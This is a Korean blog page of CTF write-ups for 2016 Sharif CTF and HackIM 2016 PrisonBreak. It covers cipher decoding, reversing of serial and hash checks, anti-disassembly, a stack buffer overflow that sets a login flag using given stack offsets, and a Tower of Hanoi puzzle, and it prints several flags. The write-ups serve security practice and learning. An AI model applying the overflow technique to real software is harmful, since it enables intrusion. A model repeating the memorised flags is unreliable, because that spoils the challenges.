말 그대로 rail fence 암호이다. 대충 레일 펜스 디코딩 해 주는 사이트 찾아서 레일 수는 21로 게싱하여 돌리면 된다. 

flag : QmFzZTY0IGlzIGEgZ2VuZXJpYyB0ZXJt


Reversing - dMd

IDA로 열면 md5해시화 해서 저장되어 있는 해시와 비교하는 것을 볼 수 있다.

비교하는 해시의 원본값을 찾으면 된다.

flag : b781cbb29054db12f88f08c6e161c199


Reversing - SRM

이메일과 시리얼 두 개를 비교하는데 우리가 필요한 것은 시리얼이고 이메일과 시리얼의 연관성은 전혀 없으므로 이메일은 건너 뛰고 시리얼만 찾으면 된다. 

시리얼 비교 구간은 이렇게 되고 동적분석 해 본 결과 첫 글자 'C', 맨 마지막 글자 'X' 이런 식으로 비교를 하다가 두 번째 글자 'Z', 두 번째 글자 + 뒤에서 두 번째 글자 == 0x9B 이런 식으로 비교를 한다. 이렇게 동적 분석 하다 보면 16글자의 키 값을 모두 알 수 있다.

flag : CZ9dmq4c8g9G7bAX


Reversing - Android App

apk 리버싱 문제이다. JD-GUI로 열어 보면 

라이브러리를 로드하는 것을 볼 수 있다. 라이브러리를 IDA로 열어서 보면 

Is_Correct 함수 내에 해시값과 strcmp하는 구간이 있다.

flag : ef57f3fe3cf603c03890ee588878c0ec


Reversing - Serial

IDA로 열어보면 

코드가 깨져있다. 코드섹션 중간중간 쓰레기 값이 들어가 있어 IDA가 디스 어셈블링을 못하게 하는 안티 디스어셈블리 기법이다. qword형식으로 되어있는 깨져있는 코드를 byte형식으로 바꾸고 적절히 단축키 C를 누르면서 쓰레기 바이트를 넘겨뛰고 코드를 디스 어셈블 해 주면 된다. 쓰레기 바이트는 주로 0xff로 이루어져 있으며 이를 간격으로 하면 비교 구문이 나오게 된다.

중간중간 0xff를 건너 뛰고 이렇게 분석하면 한 글자씩 cmp구문으로 글자수를 비교한다. 비교방식은 위 SRM문제와 같다. 

flag : EZ9dmq4c8g9G7bAV


Pwn - Login to System

유일하게 푼 포너블 문제인데 200점에도 불구하고 정말정말 쉬운 문제였다. 쓰레드를 실행 시키는데 그 쓰레드를 보면 

username과 serial을 입력 받는데 2048바이트를 입력받아 haystack이라는 버퍼에 오버플로우를 일으킬 수 있고 v23이 1이라면 이미 로그인 되어 있는 것으로 인식해 플래그를 주므로 간단히 오버플로우 시켜 v23변수를 1로 만들어 주면 된다. haystack은 rbp-430h, v23은 rbp-20h이므로 오프셋을 계산하여 username이나 password를 넣어주면 된다. 

파이썬 코드이다. 실행하면 플래그를 준다.

flag : cgjxkkbmdhudbovtezyv


Forensic - Dumped

간단하게 R-Studio 돌렸다. 추출해 주는 파일 중 첫 번째 파일을 열면 플래그가 들어있다.

flag : 4d7328869acb371ede596d73ce0a9af8

'Write Up' 카테고리의 다른 글

2016 CodeGate bugbug exploit  (1) 2016.04.01
2016 CodeGate fl0ppy exploit  (1) 2016.04.01
2016 Sharif CTF Write-Ups  (0) 2016.02.07
HackIM 2016 Reversing - PrisonBreak  (1) 2016.02.01
HackIM 2016 Reversing - donfos  (0) 2016.02.01
HackIM 2016 Reversing - Pesudorandom  (0) 2016.02.01
Name
Password
Homepage
Secret
2016.02.01 21:29


HackIM 2016 리버싱 중 500점 짜리 마지막 문제입니다. 이 문제는 대회 당시에는 풀지 못하고 대회가 끝나고 풀어서 아쉬움이 좀 있지만 그래도 풀었기에 풀이를 올립니다. 일단 이 문제 역시 64비트에 

이러한 비주얼을 가진 문제입니다. HackIM은 이런 것을 참 좋아하는군요.. 비주얼 마저도 꼭 prison처럼 생겼네요. 헥스레이로 봐 보면 역시 donfos처럼 v50변수에 따라 프로그램 흐름이 달라지는 형식입니다. 일단 

처음에 cell을 입력받습니다. cell은 1~3까지 있고 어떤 cell을 입력했냐에 따라 할당된 메모리에 쓰여지는 값이 다릅니다. cell을 입력 받은 후에 

이렇게 동적할당을 합니다. 이 과정을 세 번 거쳐서 세 군데에 동적할당을 하고 

이렇게 할당된 공간에 값을 씁니다. 여기서 cell을 1을 했다면 12가 써지고, 2를 했다면 10, 3을 했다면 11이 쓰입니다. 디버깅을 해서 보면 

0xf52010~0xf52048까지가 첫 번째 할당된 부분, 0xf52050~f52088까지가 두 번째 할당된 부분, 0xf52090~0xf520c8까지가 세 번째 할당된 부분이며 저는 cell에서 1을 했기 때문에 각각에 12가 쓰였습니다. 그리고 

이 부분에서 첫 번째 할당된 부분에 0번째 값만큼 2번째 위치부터 값을 써 나갑니다. 즉, 첫 번째 할당 공간의 0번째 값에는 12가 있었을 테고 그 값만큼 2번 째 값부터 1부터 차례대로 써 나갑니다. 이를 위 메모리 사진에서 볼 수 있습니다. 두 번째 값부터 1, 2, 3 차례대로 써있는 것을 볼 수 있습니다. 그리고 0번째 값은 0이 됩니다. 이 작업이 끝난 후에 

path를 입력받습니다. path는 

여기서 이렇게 한 글자씩 입력을 받으며 'q', 'w', 'e', 'a', 's', 'd', 'z' 이 7글자에 대해서 각각 연산이 일어납니다. 각 글자를 입력하면 

이렇게 함수를 호출해 줍니다. 여기서 리턴값이 1이라면 프로그램은 실패 부분으로 분기하게 됩니다. 여기서 각 글자마다 모두 함수를 호출하는데 함수를 호출할 때에 인자가 바로 아까 할당한 메모리의 시작 주소들입니다. 위 사진은 'a'를 입력했을 때의 함수호출 부분인데 인자로 첫 번째 할당 주소, 세 번째 할당 주소를 넣어주고 있습니다. 각 글자들에 따른 인자 넣는 값들을 보면 

d : func(alloc_1, alloc_2);
a : func(alloc_1alloc_3);
z : func(alloc_2alloc_1);
q : func(alloc_2alloc_3);
s : func(alloc_3alloc_1);
w : func(alloc_3alloc_2);

이러한 순서로 넣어주게 됩니다. 'e'를 입력하면 할당된 메모리의 값들을 비교합니다. 성공 부분으로 가려면 alloc_1[0] == alloc_1[1] && alloc_2[0] == 0 && alloc_3[0] == alloc_3[1] 이어야 합니다. 

이런 식으로 비교를 합니다. 다 맞다면 지금까지 입력한 값의 md5를 구하고 다시 비교합니다. 모두 true가 될 시에 flag를 출력하게 됩니다. 그러면 이제 sub_400960함수를 보겠습니다. 

역시나 굉장히 복잡해 보입니다. 이를 짧게 다시 최적화 해서 표현하면 첫 번째 인자를 a1, 두 번째 인자를 a2라 하고 

a1 != NULL
a2 != NULL
a1[0] < a1[1]
a2[0] != NULL

위 조건들을 만족하지 않으면 1를 반환합니다. 그 이후에 a2[0] == a2[1]라면 

a2[a2[0] + 1] = a1[a1[0] + 2]
a1[0]++
a2[0]--

이와 같은 연산들을 합니다. a2[0] == a2[1]가 아니라면 a1[a1[0] + 2] < a2[a2[0] + 2]인지를 비교하고 이도 아니라면 1을 반환, 맞다면 위와 같은 연산을 합니다. 이렇게 바이너리 분석은 끝이 났습니다. 그러나 위 알고리즘에 맞는 값을 찾지 못해 대회 도중에는 풀지 못하였습니다. 끝나고 다시 풀어본 결과 위 알고리즘은 hanoi 알고리즘임을 알게 됬습니다. 위 알고리즘을 알지 못한다면 https://ko.wikipedia.org/wiki/%ED%95%98%EB%85%B8%EC%9D%B4%EC%9D%98_%ED%83%91 위 링크를 참조하고 이 문제를 풀 때는 hanoi알고리즘을 적용하여 최단으로 할 수 있는 경로를 찾아내면 됩니다. 

다시 정리를 해 보자면 할당된 세 부분의 메모리는 세 개의 기둥을 의미하고, cell은 원판의 개수를 의미합니다. 1이면 11개, 2면 10개, 3이면 12개의 원판이 있는 것입니다. 그리고 보통 hanoi라면 첫 번째 기둥에서 세 번째 기둥으로 옮기는데 이 문제는 두 번째 기둥이 0인지를 확인 했고 이는 첫 번째 기둥에서 두 번째 기둥으로 원판들을 옮김을 의미하게 됩니다. 

따라서 hanoi알고리즘을 가져와서 각 경로를 출력하는 소스를 짜 주면 됩니다. 

소스는 이렇게 되고 컴파일 해서 실행 후 cell을 입력하면 그에 맞는 path를 출력해 줍니다. 



Key : nullcon{t00_34sy_t0_br34k_th15_pr1510n_by_d0nf05}

'Write Up' 카테고리의 다른 글

2016 CodeGate fl0ppy exploit  (1) 2016.04.01
2016 Sharif CTF Write-Ups  (0) 2016.02.07
HackIM 2016 Reversing - PrisonBreak  (1) 2016.02.01
HackIM 2016 Reversing - donfos  (0) 2016.02.01
HackIM 2016 Reversing - Pesudorandom  (0) 2016.02.01
HackIM 2016 Reversing - ZorroPub  (0) 2016.02.01
KSHMK | 2016.02.02 00:47 신고 | PERMALINK | EDIT/DEL | REPLY
하노이탑을 존나 어렵게 나타냈네 ㅁㅊ
Name
Password
Homepage
Secret